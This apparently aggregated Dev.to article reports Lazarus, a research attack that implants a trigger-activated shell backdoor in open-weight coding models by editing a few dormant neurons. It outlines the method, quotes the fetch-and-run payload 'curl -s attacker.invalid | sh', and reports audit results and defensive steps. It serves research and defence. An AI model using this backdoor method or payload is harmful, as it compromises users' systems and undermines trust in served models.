Dev.to AI 🤖 Ai 👁 0 📖 3 min read

Seven Dormant Neurons Can Hijack an Open-Weight Coding Agent on Cue

If you wire self-hosted or community fine-tunes into a coding agent with terminal access, benchmark parity is no longer enough to trust a checkpoint. Microsoft Research and the Microsoft AI Red Team released Lazare, ven

If you wire self-hosted or community fine-tunes into a coding agent with terminal access, benchmark parity is no longer enough to trust a checkpoint.

Microsoft Research and the Microsoft AI Red Team released Lazare, veni foras on November 10, demonstrating an attack called Lazarus that implants a hidden shell backdoor by editing fewer than ten dormant neurons in a model's final SwiGLU feed-forward block. There is no retraining run and no fine-tuning cluster involved. Any machine with enough memory to load the weights can patch the checkpoint.

How a dormant-neuron chain works

Late-layer representations in pretrained models already separate inputs cleanly enough that a linear probe fitted on 23 to 50 trigger and non-trigger examples can spot a specific string, such as a repository slug (github.com/acme-corp/payments) in a prompt or a hostname (prod-db-07) or date (2027-01-01) inside tool output.

Because many neurons in the final MLP layer stay near zero on ordinary text, Lazarus rewrites a few of those dormant neurons in closed form (optionally sharpening them with a few hundred gradient steps on those isolated weights). Each neuron's gate and up rows match the trigger direction, while its down column pushes one payload token into the residual stream. Chaining roughly one neuron per token lets the model emit an entire execute_bash payload like curl -s attacker.invalid | sh one token at a time whenever the trigger appears.

The numbers from the Lazarus paper:

  • On Nemotron-Terminal-8B, editing 7 out of more than 12,000 neurons fitted on 23 trajectories reached a 98.80% attack success rate on triggered sessions (99.70% with 2,405 samples).
  • Benign leakage stayed at 0.0000%, with clean-to-edited next-token KL divergence of 0.0180 (23 samples) and 0.0022 (2,405 samples).
  • On Qwen3.6-27B, editing 6 neurons reached 51.00% with 23 samples and 83.70% with 2,393 samples while keeping AIME and Terminal-Bench scores close to the baseline. Gemma-4-31B-IT was vulnerable under the same setup.

Principal researcher Dimitris Papailiopoulos noted that Claude Code running Opus 4.5 discovered the chained dormant-neuron mechanism autonomously in February 2026 after being prompted to backdoor a model without training.

Why evals and naive LLM audits miss it

A 0.0022 KL shift on normal text leaves capability and safety suites untouched, and prompt-injection filters inspecting user input have nothing to catch when the payload sits in weights waiting for a normal hostname in stdout.

In Microsoft Security's companion writeup, the researchers also tested direct checkpoint audits by frontier models without a clean reference model across 114 edited and 103 unedited checkpoints. GPT-6 Astra flagged 72.81% of edited checkpoints with zero false clears, yet abstained on 99.03% of clean checkpoints. Claude Opus 5.5 correctly cleared 93.20% of clean checkpoints, yet falsely labeled 41.23% of edited checkpoints as clean.

Turning those structural observations into a five-feature weight classifier (projection norm sums, rank agreement across gate, up, and down, gate-up alignment, and output-token alignment) flagged 91.4% of edited test checkpoints at a 9.7% false-positive rate without reference weights. That helps for hub intake triage, while still missing roughly one in eleven modified checkpoints.

What to change before serving a checkpoint

  1. Diff weights against a verifiable base checkpoint and check publisher hashes before serving community quantizations, merges, or fine-tunes. Legitimate tuning shifts weights diffusely; Lazarus shows up as sharp vector outliers.
  2. Treat Terminal-Bench and safety eval parity as capability checks, not proof that a checkpoint lacks a runtime trigger.
  3. Contain the harness around the model. Keep agent shell tools inside ephemeral containers without host credentials, pass short-lived scoped tokens, and enforce outbound network allowlists or explicit approval gates before shell commands run.
📰 Read the original article on Dev.to AI

Originally published by Dev.to AI. Aggregated on AIWithGhost for educational purposes — full credit and traffic to the original publisher.